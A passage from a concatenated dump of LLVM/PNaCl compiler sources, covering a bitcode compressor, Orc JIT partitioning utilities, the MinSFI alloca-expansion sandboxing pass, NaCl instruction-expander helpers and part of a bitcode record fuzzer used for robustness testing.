NaClBitcodeCopyParser Parser(Flags, Stream, BlockAbbrevsMap, AbbrevsQueueMap,
StreamWriter);
// Parse the bitcode and copy.
while (!Stream.AtEndOfStream()) {
if (Parser.Parse())
return true;
}
// Write out the copied results.
Output.write((char *)&OutputBuffer.front(), OutputBuffer.size());
return false;
}
// Build fast lookup abbreviation maps for each of the abbreviation blocks
// defined in AbbrevsMap.
static void buildAbbrevLookupMaps(
const NaClBitcodeCompressor::CompressFlags &Flags,
BlockAbbrevsMapType &AbbrevsMap) {
for (BlockAbbrevsMapType::const_iterator
Iter = AbbrevsMap.begin(),
IterEnd = AbbrevsMap.end();
Iter != IterEnd; ++Iter) {
Iter->second->buildAbbrevLookupSizeMap(Flags);
}
}
} // namespace
bool NaClBitcodeCompressor::analyze(MemoryBuffer *MemBuf, raw_ostream &Output) {
BlockAbbrevsMapType BlockAbbrevsMap;
return !analyzeBitcode(Flags, MemBuf, Output, BlockAbbrevsMap);
}
bool NaClBitcodeCompressor::compress(MemoryBuffer *MemBuf,
raw_ostream &BitcodeOutput,
raw_ostream &ShowOutput) {
BlockAbbrevsMapType BlockAbbrevsMap;
if (analyzeBitcode(Flags, MemBuf, ShowOutput, BlockAbbrevsMap))
return false;
buildAbbrevLookupMaps(Flags, BlockAbbrevsMap);
BlockAbbrevsQueueMap AbbrevsQueueMap;
bool Result = true;
if (chooseAbbrevs(MemBuf, BlockAbbrevsMap, AbbrevsQueueMap))
Result = false;
else if (copyBitcode(Flags, MemBuf, BitcodeOutput, BlockAbbrevsMap,
AbbrevsQueueMap))
Result = false;
DeleteContainerSeconds(AbbrevsQueueMap);
return Result;
}
<file_sep>/lib/Bitcode/NaCl/CMakeLists.txt
add_subdirectory(Writer)
add_subdirectory(Reader)
add_subdirectory(Analysis)
add_subdirectory(TestUtils)
<file_sep>/lib/ExecutionEngine/Orc/IndirectionUtils.cpp
//===---- IndirectionUtils.cpp - Utilities for call indirection in Orc ----===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#include "llvm/ADT/STLExtras.h"
#include "llvm/ADT/Triple.h"
#include "llvm/ExecutionEngine/Orc/CloneSubModule.h"
#include "llvm/ExecutionEngine/Orc/IndirectionUtils.h"
#include "llvm/IR/CallSite.h"
#include "llvm/IR/IRBuilder.h"
#include <set>
#include <sstream>
namespace llvm {
namespace orc {
Constant* createIRTypedAddress(FunctionType &FT, TargetAddress Addr) {
Constant *AddrIntVal =
ConstantInt::get(Type::getInt64Ty(FT.getContext()), Addr);
Constant *AddrPtrVal =
ConstantExpr::getCast(Instruction::IntToPtr, AddrIntVal,
PointerType::get(&FT, 0));
return AddrPtrVal;
}
GlobalVariable* createImplPointer(PointerType &PT, Module &M,
const Twine &Name, Constant *Initializer) {
if (!Initializer)
Initializer = Constant::getNullValue(&PT);
return new GlobalVariable(M, &PT, false, GlobalValue::ExternalLinkage,
Initializer, Name, nullptr,
GlobalValue::NotThreadLocal, 0, true);
}
void makeStub(Function &F, GlobalVariable &ImplPointer) {
assert(F.isDeclaration() && "Can't turn a definition into a stub.");
assert(F.getParent() && "Function isn't in a module.");
Module &M = *F.getParent();
BasicBlock *EntryBlock = BasicBlock::Create(M.getContext(), "entry", &F);
IRBuilder<> Builder(EntryBlock);
LoadInst *ImplAddr = Builder.CreateLoad(&ImplPointer);
std::vector<Value*> CallArgs;
for (auto &A : F.args())
CallArgs.push_back(&A);
CallInst *Call = Builder.CreateCall(ImplAddr, CallArgs);
Call->setTailCall();
Builder.CreateRet(Call);
}
// Utility class for renaming global values and functions during partitioning.
class GlobalRenamer {
public:
static bool needsRenaming(const Value &New) {
if (!New.hasName() || New.getName().startswith("\01L"))
return true;
return false;
}
const std::string& getRename(const Value &Orig) {
// See if we have a name for this global.
{
auto I = Names.find(&Orig);
if (I != Names.end())
return I->second;
}
// Nope. Create a new one.
// FIXME: Use a more robust uniquing scheme. (This may blow up if the user
// writes a "__orc_anon[[:digit:]]* method).
unsigned ID = Names.size();
std::ostringstream NameStream;
NameStream << "__orc_anon" << ID++;
auto I = Names.insert(std::make_pair(&Orig, NameStream.str()));
return I.first->second;
}
private:
DenseMap<const Value*, std::string> Names;
};
void partition(Module &M, const ModulePartitionMap &PMap) {
GlobalRenamer Renamer;
for (auto &KVPair : PMap) {
auto ExtractGlobalVars =
[&](GlobalVariable &New, const GlobalVariable &Orig,
ValueToValueMapTy &VMap) {
if (KVPair.second.count(&Orig)) {
copyGVInitializer(New, Orig, VMap);
}
if (New.hasLocalLinkage()) {
if (Renamer.needsRenaming(New))
New.setName(Renamer.getRename(Orig));
New.setLinkage(GlobalValue::ExternalLinkage);
New.setVisibility(GlobalValue::HiddenVisibility);
}
assert(!Renamer.needsRenaming(New) && "Invalid global name.");
};
auto ExtractFunctions =
[&](Function &New, const Function &Orig, ValueToValueMapTy &VMap) {
if (KVPair.second.count(&Orig))
copyFunctionBody(New, Orig, VMap);
if (New.hasLocalLinkage()) {
if (Renamer.needsRenaming(New))
New.setName(Renamer.getRename(Orig));
New.setLinkage(GlobalValue::ExternalLinkage);
New.setVisibility(GlobalValue::HiddenVisibility);
}
assert(!Renamer.needsRenaming(New) && "Invalid function name.");
};
CloneSubModule(*KVPair.first, M, ExtractGlobalVars, ExtractFunctions,
false);
}
}
FullyPartitionedModule fullyPartition(Module &M) {
FullyPartitionedModule MP;
ModulePartitionMap PMap;
for (auto &F : M) {
if (F.isDeclaration())
continue;
std::string NewModuleName = (M.getName() + "." + F.getName()).str();
MP.Functions.push_back(
llvm::make_unique<Module>(NewModuleName, M.getContext()));
MP.Functions.back()->setDataLayout(M.getDataLayout());
PMap[MP.Functions.back().get()].insert(&F);
}
MP.GlobalVars =
llvm::make_unique<Module>((M.getName() + ".globals_and_stubs").str(),
M.getContext());
MP.GlobalVars->setDataLayout(M.getDataLayout());
MP.Commons =
llvm::make_unique<Module>((M.getName() + ".commons").str(), M.getContext());
MP.Commons->setDataLayout(M.getDataLayout());
// Make sure there's at least an empty set for the stubs map or we'll fail
// to clone anything for it (including the decls).
PMap[MP.GlobalVars.get()] = ModulePartitionMap::mapped_type();
for (auto &GV : M.globals())
if (GV.getLinkage() == GlobalValue::CommonLinkage)
PMap[MP.Commons.get()].insert(&GV);
else
PMap[MP.GlobalVars.get()].insert(&GV);
partition(M, PMap);
return MP;
}
} // End namespace orc.
} // End namespace llvm.
<file_sep>/tools/pnacl-bcdis/CMakeLists.txt
set(LLVM_LINK_COMPONENTS
NaClBitAnalysis
NaClBitReader
Support)
add_llvm_tool(pnacl-bcdis
pnacl-bcdis.cpp
)
<file_sep>/lib/AsmParser/CMakeLists.txt
# AsmParser
add_llvm_library(LLVMAsmParser
LLLexer.cpp
LLParser.cpp
Parser.cpp
ADDITIONAL_HEADER_DIRS
${LLVM_MAIN_INCLUDE_DIR}/llvm/Analysis
)
<file_sep>/lib/Transforms/MinSFI/ExpandAllocas.cpp
//===----- ExpandAllocas.cpp - Allocate memory on the untrusted stack -----===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// Code sandboxed with MinSFI cannot access the execution stack directly
// because the stack lies outside of its address subspace, which prevents it
// from using memory allocated with the alloca instruction. This pass therefore
// replaces allocas with memory allocation on a separate stack at a fixed
// location inside the designated memory region.
//
// The new stack does not have to be trusted as it is only used for memory
// allocation inside the sandbox. The call and ret instructions still operate
// on the native stack, preventing manipulation with the return address or
// callee-saved registers.
//
// This pass also replaces the @llvm.stacksave and @llvm.stackrestore
// intrinsics which would otherwise allow access to the native stack pointer.
// Instead, they are expanded out and save/restore the current untrusted stack
// pointer.
//
// When a function is invoked, the current untrusted stack pointer is obtained
// from the "__sfi_stack_ptr" global variable (internal to the module). The
// function then keeps track of the current value of the stack pointer, but
// must update the global variable prior to any function calls and restore the
// initial value before it returns.
//
// The stack pointer is initialized in the entry function of the module, the
// _start_minsfi function. The runtime is expected to copy the arguments
// (a NULL-terminated integer array) at the end of the allocated memory region,
// i.e. at the bottom of the untrusted stack, and pass the pointer to the array
// to the entry function. The sandboxed code is then expected to use the
// pointer not only to access its arguments but also as the initial value of
// its stack pointer and to grow the stack backwards.
//
// If an alloca requests alignment greater than 1, the untrusted stack pointer
// is aligned accordingly. However, the alignment is applied before the address
// is sandboxed and therefore the runtime must guarantee that the base address
// of the sandbox is aligned to at least 2^29 bytes (=512MB), which is the
// maximum alignment supported by LLVM.
//
// Possible optimizations:
// - accumulate constant-sized allocas to reduce the number of stores
// into the global stack pointer variable
// - remove stores into the global pointer if the respective values never
// reach a function call
// - align frame to 16 bytes
//
//===----------------------------------------------------------------------===//
#include "llvm/Pass.h"
#include "llvm/IR/Constants.h"
#include "llvm/IR/DataLayout.h"
#include "llvm/IR/Function.h"
#include "llvm/IR/Instructions.h"
#include "llvm/IR/IntrinsicInst.h"
#include "llvm/IR/Module.h"
#include "llvm/Support/MathExtras.h"
#include "llvm/Transforms/MinSFI.h"
#include "llvm/Transforms/NaCl.h"
using namespace llvm;
static const char InternalSymName_StackPointer[] = "__sfi_stack_ptr";
namespace {
// ExpandAllocas needs to be a ModulePass because it adds a GlobalVariable.
class ExpandAllocas : public ModulePass {
GlobalVariable *StackPtrVar;
Type *IntPtrType, *I8Ptr;
void runOnFunction(Function &Func);
void insertStackPtrInit(Module &M);
public:
static char ID;
ExpandAllocas() : ModulePass(ID), StackPtrVar(NULL), IntPtrType(NULL),
I8Ptr(NULL) {
initializeExpandAllocasPass(*PassRegistry::getPassRegistry());
}
virtual bool runOnModule(Module &M);
};
} // namespace
bool ExpandAllocas::runOnModule(Module &M) {
DataLayout DL(&M);
IntPtrType = DL.getIntPtrType(M.getContext());
I8Ptr = Type::getInt8PtrTy(M.getContext());
// Create the stack pointer global variable. We are forced to give it some
// initial value, but it will be initialized at runtime.
StackPtrVar = new GlobalVariable(M, IntPtrType, /*isConstant=*/false,
GlobalVariable::InternalLinkage,
ConstantInt::get(IntPtrType, 0),
InternalSymName_StackPointer);
for (Module::iterator Func = M.begin(), E = M.end(); Func != E; ++Func)
runOnFunction(*Func);
insertStackPtrInit(M);
return true;
}
static inline void replaceWithPointer(Instruction *OrigInst, Value *IntPtr,
SmallVectorImpl<Instruction*> &Dead) {
Instruction *NewInst =
new IntToPtrInst(IntPtr, OrigInst->getType(), "", OrigInst);
NewInst->takeName(OrigInst);
OrigInst->replaceAllUsesWith(NewInst);
CopyDebug(NewInst, OrigInst);
Dead.push_back(OrigInst);
}
static inline Instruction *getBBStackPtr(BasicBlock *BB) {
return BB->getInstList().begin();
}
void ExpandAllocas::runOnFunction(Function &Func) {
// Do an initial scan of the entire function body. Check whether it contains
// instructions which we want to operate on the untrusted stack and return
// if there aren't any. Also check whether it contains any function calls.
// If not, we will not have to update the global stack pointer variable.
bool NoUntrustedStackOps = true;
bool MustUpdateStackPtrGlobal = false;
for (Function::iterator BB = Func.begin(), E = Func.end(); BB != E; ++BB) {
for (BasicBlock::iterator Inst = BB->begin(), E = BB->end(); Inst != E;
++Inst) {
NoUntrustedStackOps &= !isa<AllocaInst>(Inst);
if (CallInst *Call = dyn_cast<CallInst>(Inst)) {
if (isa<IntrinsicInst>(Call)) {
unsigned IntrinsicID = Call->getCalledFunction()->getIntrinsicID();
bool IsNotStackIntr = IntrinsicID != Intrinsic::stacksave &&
IntrinsicID != Intrinsic::stackrestore;
NoUntrustedStackOps &= IsNotStackIntr;
MustUpdateStackPtrGlobal |= IsNotStackIntr;
} else {
MustUpdateStackPtrGlobal = true;
}
}
}
}
if (NoUntrustedStackOps)
return;
SmallVector<Instruction *, 10> DeadInsts;
Instruction *InitialStackPtr = new LoadInst(StackPtrVar, "frame_top");
// First, we insert a new instruction at the beginning of each basic block,
// which will represent the value of the stack pointer at that point. For
// the entry block, this is the value of the global stack pointer variable.
// Other blocks are initialized with empty phi nodes which we will later
// fill with the values carried over from the respective predecessors.
BasicBlock *EntryBB = &Func.getEntryBlock();
for (Function::iterator BB = Func.begin(), E = Func.end(); BB != E; ++BB)
BB->getInstList().push_front(
((BasicBlock*)BB == EntryBB) ? InitialStackPtr
: PHINode::Create(IntPtrType, 2, ""));
// Now iterate over the instructions and expand out the untrusted stack
// operations. Allocas are replaced with pointer arithmetic that pushes
// the untrusted stack pointer and updates the global stack pointer variable
// if the initial scan identified function calls in the code.
// The @llvm.stacksave intrinsic returns the latest value of the stack
// pointer, and the @llvm.stackrestore overwrites it and potentially updates
// the global variable. If needed, return instructions are prepended with
// a store which restores the initial value of the global variable.
// At the end of each basic block, the last value of the untrusted stack
// pointer is inserted into the phi node at the beginning of each successor
// block.
for (Function::iterator BB = Func.begin(), EBB = Func.end(); BB != EBB;
++BB) {
Instruction *LastTop = getBBStackPtr(BB);
for (BasicBlock::iterator Inst = BB->begin(), EInst = BB->end();
Inst != EInst; ++Inst) {
if (AllocaInst *Alloca = dyn_cast<AllocaInst>(Inst)) {
Value *SizeOp = Alloca->getArraySize();
unsigned Alignment = Alloca->getAlignment();
assert(Alloca->getType() == I8Ptr);
assert(SizeOp->getType()->isIntegerTy(32));
assert(Alignment <= (1 << 29)); // 512MB
LastTop = BinaryOperator::CreateSub(LastTop, SizeOp, "", Alloca);
if (Alignment > 1)
LastTop = BinaryOperator::CreateAnd(LastTop,
ConstantInt::get(IntPtrType,
-Alignment),
"", Alloca);
if (MustUpdateStackPtrGlobal)
new StoreInst(LastTop, StackPtrVar, Alloca);
replaceWithPointer(Alloca, LastTop, DeadInsts);
} else if (IntrinsicInst *Intr = dyn_cast<IntrinsicInst>(Inst)) {
if (Intr->getIntrinsicID() == Intrinsic::stacksave) {
replaceWithPointer(Intr, LastTop, DeadInsts);
} else if (Intr->getIntrinsicID() == Intrinsic::stackrestore) {
Value *NewStackPtr = Intr->getArgOperand(0);
LastTop = new PtrToIntInst(NewStackPtr, IntPtrType, "", Intr);
if (MustUpdateStackPtrGlobal)
new StoreInst(LastTop, StackPtrVar, Intr);
CopyDebug(LastTop, Intr);
DeadInsts.push_back(Intr);
}
} else if (ReturnInst *Return = dyn_cast<ReturnInst>(Inst)) {
if (MustUpdateStackPtrGlobal)
new StoreInst(InitialStackPtr, StackPtrVar, Return);
}
}
// Insert the final frame top value into all successor phi nodes.
TerminatorInst *Term = BB->getTerminator();
for (unsigned int I = 0; I < Term->getNumSuccessors(); ++I) {
PHINode *Succ = cast<PHINode>(getBBStackPtr(Term->getSuccessor(I)));
Succ->addIncoming(LastTop, BB);
}
}
// Delete the replaced instructions.
for (SmallVectorImpl<Instruction *>::const_iterator Inst = DeadInsts.begin(),
E = DeadInsts.end(); Inst != E; ++Inst)
(*Inst)->eraseFromParent();
}
void ExpandAllocas::insertStackPtrInit(Module &M) {
Function *EntryFunction = M.getFunction(minsfi::EntryFunctionName);
if (!EntryFunction)
report_fatal_error("ExpandAllocas: Module does not have an entry function");
// Check the signature of the entry function.
Function::ArgumentListType &Args = EntryFunction->getArgumentList();
if (Args.size() != 1 || Args.front().getType() != IntPtrType) {
report_fatal_error(std::string("ExpandAllocas: Invalid signature of ") +
minsfi::EntryFunctionName);
}
// Insert a store instruction which saves the value of the first argument
// to the stack pointer global variable.
new StoreInst(&Args.front(), StackPtrVar,
EntryFunction->getEntryBlock().getFirstInsertionPt());
}
char ExpandAllocas::ID = 0;
INITIALIZE_PASS(ExpandAllocas, "minsfi-expand-allocas",
"Expand allocas to allocate memory on an untrusted stack",
false, false)
ModulePass *llvm::createExpandAllocasPass() {
return new ExpandAllocas();
}
<file_sep>/lib/MC/MCNaClExpander.cpp
//===- MCNaClExpander.cpp ---------------------------------------*- C++ -*-===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This file implements the MCNaClExpander class. This is a base
// class that encapsulates the expansion logic for MCInsts, and holds
// state such as available scratch registers.
//
//===----------------------------------------------------------------------===//
#include "llvm/MC/MCNaClExpander.h"
#include "llvm/MC/MCInst.h"
#include "llvm/MC/MCInstrInfo.h"
#include "llvm/MC/MCRegisterInfo.h"
namespace llvm {
void MCNaClExpander::Error(const MCInst &Inst, const char msg[]) {
Ctx.FatalError(Inst.getLoc(), msg);
}
bool MCNaClExpander::addScratchReg(unsigned Reg) {
if (!isValidScratchRegister(Reg))
return true;
ScratchRegs.push_back(Reg);
return false;
}
void MCNaClExpander::invalidateScratchRegs(const MCInst &Inst) {
// TODO(dschuff): There are arch-specific special cases where this fails,
// e.g. xchg/cmpxchg
const MCInstrDesc &Desc = InstInfo->get(Inst.getOpcode());
for (auto I = ScratchRegs.begin(), E = ScratchRegs.end(); I != E; ++I) {
if (Desc.hasDefOfPhysReg(Inst, *I, *RegInfo))
I = ScratchRegs.erase(I);
}
}
void MCNaClExpander::clearScratchRegs() {
ScratchRegs.clear();
}
unsigned MCNaClExpander::getScratchReg(int index) {
assert(index >= 0 && static_cast<unsigned>(index) < numScratchRegs());
return ScratchRegs[numScratchRegs() - index - 1];
}
unsigned MCNaClExpander::numScratchRegs() const { return ScratchRegs.size(); }
bool MCNaClExpander::isPseudo(const MCInst &Inst) const {
return InstInfo->get(Inst.getOpcode()).isPseudo();
}
bool MCNaClExpander::mayAffectControlFlow(const MCInst &Inst) const {
return InstInfo->get(Inst.getOpcode()).mayAffectControlFlow(Inst, *RegInfo);
}
bool MCNaClExpander::isCall(const MCInst &Inst) const {
return InstInfo->get(Inst.getOpcode()).isCall();
}
bool MCNaClExpander::isBranch(const MCInst &Inst) const {
return InstInfo->get(Inst.getOpcode()).isBranch();
}
bool MCNaClExpander::isIndirectBranch(const MCInst &Inst) const {
return InstInfo->get(Inst.getOpcode()).isIndirectBranch();
}
bool MCNaClExpander::isReturn(const MCInst &Inst) const {
return InstInfo->get(Inst.getOpcode()).isReturn();
}
bool MCNaClExpander::isVariadic(const MCInst &Inst) const {
return InstInfo->get(Inst.getOpcode()).isVariadic();
}
bool MCNaClExpander::mayLoad(const MCInst &Inst) const {
return InstInfo->get(Inst.getOpcode()).mayLoad();
}
bool MCNaClExpander::mayStore(const MCInst &Inst) const {
return InstInfo->get(Inst.getOpcode()).mayStore();
}
bool MCNaClExpander::mayModifyRegister(const MCInst &Inst, unsigned Reg) const {
return InstInfo->get(Inst.getOpcode()).hasDefOfPhysReg(Inst, Reg, *RegInfo);
}
bool MCNaClExpander::explicitlyModifiesRegister(const MCInst &Inst,
unsigned Reg) const {
const MCInstrDesc &Desc = InstInfo->get(Inst.getOpcode());
for (int i = 0; i < Desc.NumDefs; ++i) {
if (Desc.OpInfo[i].OperandType == MCOI::OPERAND_REGISTER &&
RegInfo->isSubRegisterEq(Reg, Inst.getOperand(i).getReg()))
return true;
}
return false;
}
// Replaces all definitions of RegOld with RegNew in Inst
void MCNaClExpander::replaceDefinitions(MCInst &Inst, unsigned RegOld,
unsigned RegNew) const {
const MCInstrDesc &Desc = InstInfo->get(Inst.getOpcode());
for (int i = 0; i < Desc.NumDefs; ++i) {
MCOperand &Op = Inst.getOperand(i);
if (Op.isReg() && Op.getReg() == RegOld)
Op.setReg(RegNew);
}
}
}
<file_sep>/lib/Bitcode/NaCl/TestUtils/NaClSimpleRecordFuzzer.cpp
//===- NaClSimpleRecordFuzzer.cpp - Simple fuzzer of bitcode --------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This file implements a simple fuzzer for a list of PNaCl bitcode records.
//
//===----------------------------------------------------------------------===//
#include "llvm/ADT/STLExtras.h"
#include "llvm/Bitcode/NaCl/NaClFuzz.h"
#include "llvm/Support/Format.h"
#include <set>
using namespace llvm;
using namespace naclfuzz;
namespace {
// Counts the number of times each value in a range [0..N) is used (based
// on the number of calls to method increment()).
class DistCounter {
DistCounter(const DistCounter&) = delete;
void operator=(const DistCounter&) = delete;
public:
explicit DistCounter(size_t DistSize)
: Dist(DistSize, 0), Total(0) {}
// Increments the count for the given value
size_t increment(size_t Value) {
++Dist[Value];
++Total;
return Value;
}
// Returns the end of the range being checked.
size_t size() const {
return Dist.size();
}
// Returns the number of times value was incremented.
size_t operator[](size_t Value) const {
return Dist[Value];
}
// Retrns the number of times any value in the distribution was
// incremented.
size_t getTotal() const {
return Total;
}
private:
// The number of times each value was incremented.
std::vector<size_t> Dist;
// The total number of times any value was incremented.
size_t Total;
};
// Model weights when randomly choosing values.
typedef unsigned WeightType;
// Associates weights with values. Used to generate weighted
// distributions (see class WeightedDistribution below).
template<typename T>
struct WeightedValue {
T Value;
WeightType Weight;
};
// Weighted distribution for a set of values in [0..DistSize).
template<typename T>
class WeightedDistribution {
WeightedDistribution(const WeightedDistribution&) = delete;
void operator=(const WeightedDistribution&) = delete;
public:
typedef const WeightedValue<T> *const_iterator;
WeightedDistribution(const WeightedValue<T> Dist[],
size_t DistSize,
RandomNumberGenerator &Generator)
: Dist(Dist), DistSize(DistSize), TotalWeight(0), Generator(Generator) {
for (size_t i = 0; i < DistSize; ++i)
TotalWeight += Dist[i].Weight;
}
virtual ~WeightedDistribution() {}
/// Returns the number of weighted values in the distribution.
size_t size() const {
return DistSize;
}
/// Returns const iterator at beginning of weighted distribution.
const_iterator begin() const {
return Dist;
}
/// Returns const iterator at end of weighted distribution.
const_iterator end() const {
return Dist + DistSize;
}
/// Randomly chooses a weighted value in the distribution, based on
/// the weights of the distrubution.
virtual const WeightedValue<T> &choose() {
return Dist[chooseIndex()];
}
/// Returns the total weight associated with the distribution.
size_t getTotalWeight() const {
return TotalWeight;
}
protected:
// The weighted values defining the distribution.
const WeightedValue<T> *Dist;
// The number of weighed values.
size_t DistSize;
// The total weight of the distribution (sum of weights in weighted values).
size_t TotalWeight;
// The random number generator to use.
RandomNumberGenerator &Generator;
// Randomly chooses an index of a weighed value in the distribution,
// based on the weights of the distribution.
size_t chooseIndex() {
/// TODO(kschimpf) Speed this up?
WeightType WeightedSum = Generator.chooseInRange(TotalWeight);
assert(WeightedSum < TotalWeight);
for (size_t Choice = 0; Choice < DistSize; ++Choice) {
WeightType NextWeight = Dist[Choice].Weight;
if (WeightedSum < NextWeight)
return Choice;
WeightedSum -= NextWeight;
}
llvm_unreachable("no index for WeightedDistribution.chooseIndex()");
}
};
// Defines a range [min..max].
template<typename T>
struct RangeType {
T min;
T max;
};
// Weighted distribution of a set of value ranges.
template<typename T>
class WeightedRangeDistribution : public WeightedDistribution<RangeType<T>> {
WeightedRangeDistribution(const WeightedRangeDistribution<T>&) = delete;
void operator=(const WeightedRangeDistribution<T>&) = delete;
public:
WeightedRangeDistribution(const WeightedValue<RangeType<T>> Dist[],
size_t DistSize,
RandomNumberGenerator &Generator)
: WeightedDistribution<RangeType<T>>(Dist, DistSize, Generator) {}
// Choose a value from one of the value ranges.
T chooseValue() {
const RangeType<T> Range = this->choose().Value;
return Range.min +
this->Generator.chooseInRange(Range.max - Range.min + 1);
}
};
/// Weighted distribution with a counter, capturing the distribution
/// of random choices for each weighted value.
template<typename T>
class CountedWeightedDistribution : public WeightedDistribution<T> {
CountedWeightedDistribution(const CountedWeightedDistribution&) = delete;
void operator=(const CountedWeightedDistribution&) = delete;
public:
CountedWeightedDistribution(const WeightedValue<T> Dist[],
size_t DistSize,
RandomNumberGenerator &Generator)
: WeightedDistribution<T>(Dist, DistSize, Generator), Counter(DistSize) {}
const WeightedValue<T> &choose() final {
return this->Dist[Counter.increment(
WeightedDistribution<T>::chooseIndex())];
}
/// Returns the number of times the Index-th weighted value was
/// chosen.
size_t getChooseCount(size_t Index) const {
return Counter[Index];
}
/// Returns the total number of times method choose was called.
size_t getTotalChooseCount() const {
return Counter.getTotal();
}
private:
DistCounter Counter;
};
#define ARRAY(array) array, array_lengthof(array)
// Weighted distribution used to select edit actions.
const WeightedValue<RecordFuzzer::EditAction> ActionDist[] = {
{RecordFuzzer::InsertRecord, 3},
{RecordFuzzer::MutateRecord, 5},
{RecordFuzzer::RemoveRecord, 1},
{RecordFuzzer::ReplaceRecord, 1},
{RecordFuzzer::SwapRecord, 1}
};
// Type of values in bitcode records.
typedef uint64_t ValueType;
// Weighted ranges for non-negative values in records.
const WeightedValue<RangeType<ValueType>> PosValueDist[] = {
{{0, 6}, 100},
{{7, 20}, 50},
{{21, 40}, 10},
{{41, 100}, 2},
{{101, 4096}, 1}
};
// Distribution used to decide when use negative values in records.
WeightedValue<bool> NegValueDist[] = {
{true, 1}, // i.e. make value negative.
{false, 100} // i.e. leave value positive.
};
// Range distribution for records sizes (must be greater than 0).
const WeightedValue<RangeType<size_t>> RecordSizeDist[] = {
{{1, 3}, 1000},
{{4, 7}, 100},
{{7, 100}, 1}
};
// Defines valid record codes.
typedef unsigned RecordCodeType;
// Special code to signify adding random other record codes.
static const RecordCodeType OtherRecordCode = 575757575;
// List of record codes we can generate. The weights are based
// on record counts in pnacl-llc.pexe, using how many thousand of
// each record code appeared (or 1 if less than 1 thousand).
WeightedValue<RecordCodeType> RecordCodeDist[] = {
{naclbitc::BLOCKINFO_CODE_SETBID, 1},
{naclbitc::MODULE_CODE_VERSION, 1},
{naclbitc::MODULE_CODE_FUNCTION, 7},
{naclbitc::TYPE_CODE_NUMENTRY, 1},
{naclbitc::TYPE_CODE_VOID, 1},
{naclbitc::TYPE_CODE_FLOAT, 1},
{naclbitc::TYPE_CODE_DOUBLE, 1},
{naclbitc::TYPE_CODE_INTEGER, 1},
{naclbitc::TYPE_CODE_VECTOR, 1},
{naclbitc::TYPE_CODE_FUNCTION, 1},
{naclbitc::VST_CODE_ENTRY, 1},
{naclbitc::VST_CODE_BBENTRY, 1},
{naclbitc::CST_CODE_SETTYPE, 15},
{naclbitc::CST_CODE_UNDEF, 1},
{naclbitc::CST_CODE_INTEGER, 115},
{naclbitc::CST_CODE_FLOAT, 1},
{naclbitc::GLOBALVAR_VAR, 14},
{naclbitc::GLOBALVAR_COMPOUND, 1},
{naclbitc::GLOBALVAR_ZEROFILL, 2},
{naclbitc::GLOBALVAR_DATA, 18},
{naclbitc::GLOBALVAR_RELOC, 20},
{naclbitc::GLOBALVAR_COUNT, 1},
{naclbitc::FUNC_CODE_DECLAREBLOCKS, 6},
{naclbitc::FUNC_CODE_INST_BINOP, 402},
{naclbitc::FUNC_CODE_INST_CAST, 61},
{naclbitc::FUNC_CODE_INST_EXTRACTELT, 1},
{naclbitc::FUNC_CODE_INST_INSERTELT, 1},
{naclbitc::FUNC_CODE_INST_RET, 7},
{naclbitc::FUNC_CODE_INST_BR, 223},
{naclbitc::FUNC_CODE_INST_SWITCH, 7},
{naclbitc::FUNC_CODE_INST_UNREACHABLE, 1},
{naclbitc::FUNC_CODE_INST_PHI, 84},
{naclbitc::FUNC_CODE_INST_ALLOCA, 34},
{naclbitc::FUNC_CODE_INST_LOAD, 225},
{naclbitc::FUNC_CODE_INST_STORE, 461},
{naclbitc::FUNC_CODE_INST_CMP2, 140},
{naclbitc::FUNC_CODE_INST_VSELECT, 10},
{naclbitc::FUNC_CODE_INST_CALL, 80},
{naclbitc::FUNC_CODE_INST_FORWARDTYPEREF, 36},
{naclbitc::FUNC_CODE_INST_CALL_INDIRECT, 5},
{naclbitc::BLK_CODE_ENTER, 1},
{naclbitc::BLK_CODE_EXIT, 1},
{naclbitc::BLK_CODE_DEFINE_ABBREV, 1},
{OtherRecordCode, 1}
};
// *Warning* The current implementation does not work on empty bitcode
// record lists.
class SimpleRecordFuzzer : public RecordFuzzer {
public:
SimpleRecordFuzzer(NaClMungedBitcode &Bitcode,
RandomNumberGenerator &Generator)
: RecordFuzzer(Bitcode, Generator),
RecordCounter(Bitcode.getBaseRecords().size()),
ActionWeight(ARRAY(ActionDist), Generator),
RecordSizeWeight(ARRAY(RecordSizeDist), Generator),
PosValueWeight(ARRAY(PosValueDist), Generator),
NegValueWeight(ARRAY(NegValueDist), Generator),
RecordCodeWeight(ARRAY(RecordCodeDist), Generator) {
assert(!Bitcode.getBaseRecords().empty()
&& "Can't fuzz empty list of records");
for (const auto &RecordCode : RecordCodeWeight)
UsedRecordCodes.insert(RecordCode.Value);
}
~SimpleRecordFuzzer() final;
bool fuzz(unsigned Count, unsigned Base) final;
void showRecordDistribution(raw_ostream &Out) const final;
void showEditDistribution(raw_ostream &Out) const final;
private:
// Count how many edits are applied to each record in the bitcode.
DistCounter RecordCounter;
// Distribution used to randomly choose edit actions.
CountedWeightedDistribution<RecordFuzzer::EditAction> ActionWeight;
// Distribution used to randomly choose the size of created records.
WeightedRangeDistribution<size_t> RecordSizeWeight;
// Distribution used to randomly choose positive values for records.
WeightedRangeDistribution<ValueType> PosValueWeight;
// Distribution of value sign used to randomly choose value for records.
WeightedDistribution<bool> NegValueWeight;
// Distribution used to choose record codes for records.
WeightedDistribution<RecordCodeType> RecordCodeWeight;
// Filter to make sure the "other" choice for record codes will not
// choose any other record code in RecordCodeWeight.
std::set<size_t> UsedRecordCodes;
// Randomly choose an edit action.
RecordFuzzer::EditAction chooseAction() {
return ActionWeight.choose().Value;
}
// Randomly choose a record index from the list of records to edit.
size_t chooseRecordIndex() {
return RecordCounter.increment(
Generator.chooseInRange(Bitcode.getBaseRecords().size()));
}
// Randomly choose a record code.
RecordCodeType chooseRecordCode() {
RecordCodeType Code = RecordCodeWeight.choose().Value;
if (Code != OtherRecordCode)
return Code;
Code = Generator.chooseInRange(UINT_MAX);
while (UsedRecordCodes.count(Code)) // don't use predefined values.
++Code;
return Code;
}
// Randomly choose a positive value for use in a record.
ValueType choosePositiveValue() {
return PosValueWeight.chooseValue();
}
// Randomly choose a positive/negative value for use in a record.
